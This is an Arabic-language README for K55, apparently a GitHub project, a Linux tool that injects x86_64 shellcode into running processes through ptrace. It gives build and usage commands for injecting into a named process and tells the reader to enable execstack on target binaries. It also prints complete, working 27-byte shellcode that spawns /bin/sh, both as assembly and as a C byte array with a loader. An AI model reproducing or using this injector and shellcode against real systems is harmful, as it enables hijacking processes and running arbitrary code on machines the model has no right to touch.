
(تُنطق: "kay fifty-five")
أداة حقن الحمولة K55 تُستخدم لحقن حمولات شل x86_64 في العمليات الجارية. تم تطوير الأداة باستخدام تقنيات C++11 الحديثة بالإضافة إلى بعض دوال C التقليدية مثل ptrace(). حجم حمولة الشل المُنشأة في العملية المستهدفة هو 27 بايت، وتقوم بتنفيذ /bin/sh (إنشاء شل bash) داخل مساحة عنوان الهدف. في المستقبل، سأسمح للمستخدمين بإدخال حمولة الشل الخاصة بهم عبر وسائط سطر الأوامر.
git clone https://github.com/josh0xA/K55.gitcd K55chmod +x build-install.sh./build-install.shUsage: ./K55 <process-name>
r-xp أو execstack. اختبار 1) في طرفية واحدة (دليل K55/)، قم بتشغيل: ./k55_example_process/k55_test_process
اختبار 2) في طرفية أخرى، قم بتشغيل أداة الحقن: sudo ./K55 k55_test_process
من الواضح أن استدعاءات ptrace(PTRACE_POKETEXT...) ليست الأكثر تمويهاً. لذا، يمكن لبعض التطبيقات الحد من تأثير K55. ومع ذلك، لاختبار الأمان، تأكد من تشغيل execstack لتطبيقاتك المستهدفة. على سبيل المثال إذا كنت أختبر على gdb، قبل أن أقوم بالحقن، سأقوم بتشغيل: sudo execstack -s /usr/bin/gdb. قم بتثبيت execstack من مدير حزم توزيعتك. لمستخدمي Arch Linux، يمكنك العثور على execstack على AUR.
ملاحظة: ما يلي هو توضيح. سلسلة الحمولة مُضمنة بالفعل في K55.
main:
xor eax, eax
mov rbx, 0xFF978CD091969DD1
neg rbx
push rbx
push rsp
pop rdi
cdq
push rdx
push rdi
push rsp
pop rsi
mov al, 0x3b
syscall
#include <stdio.h>
#include <string.h>
// Shellcode breakdown of the assembly code.
char code[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";
int main()
{
printf("len:%d bytes\n", strlen(code));
(*(void(*)()) code)();
return 0;
}
http://shell-storm.org/shellcode/files/shellcode-806.php
https://0x00sec.org/t/linux-infecting-running-processes/1097
رخصة MIT
حقوق النشر (c) Josh Schiavone